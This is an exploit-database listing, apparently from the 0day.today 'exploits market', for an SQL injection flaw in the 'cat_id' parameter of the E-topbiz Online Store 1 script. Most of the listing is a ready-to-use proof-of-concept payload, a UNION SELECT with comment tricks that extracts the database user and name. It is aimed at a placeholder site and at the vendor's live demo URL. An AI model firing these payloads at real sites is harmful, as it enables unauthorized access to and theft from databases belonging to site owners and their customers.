[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

E-topbiz Online Store 1 (cat_id) SQL Injection Vulnerability

Author
Stack
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4121
Category
web applications
Date add
07-11-2008
Platform
unsorted
============================================================
E-topbiz Online Store 1 (cat_id) SQL Injection Vulnerability
============================================================


> > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*



#  0day.today [2024-11-15]  #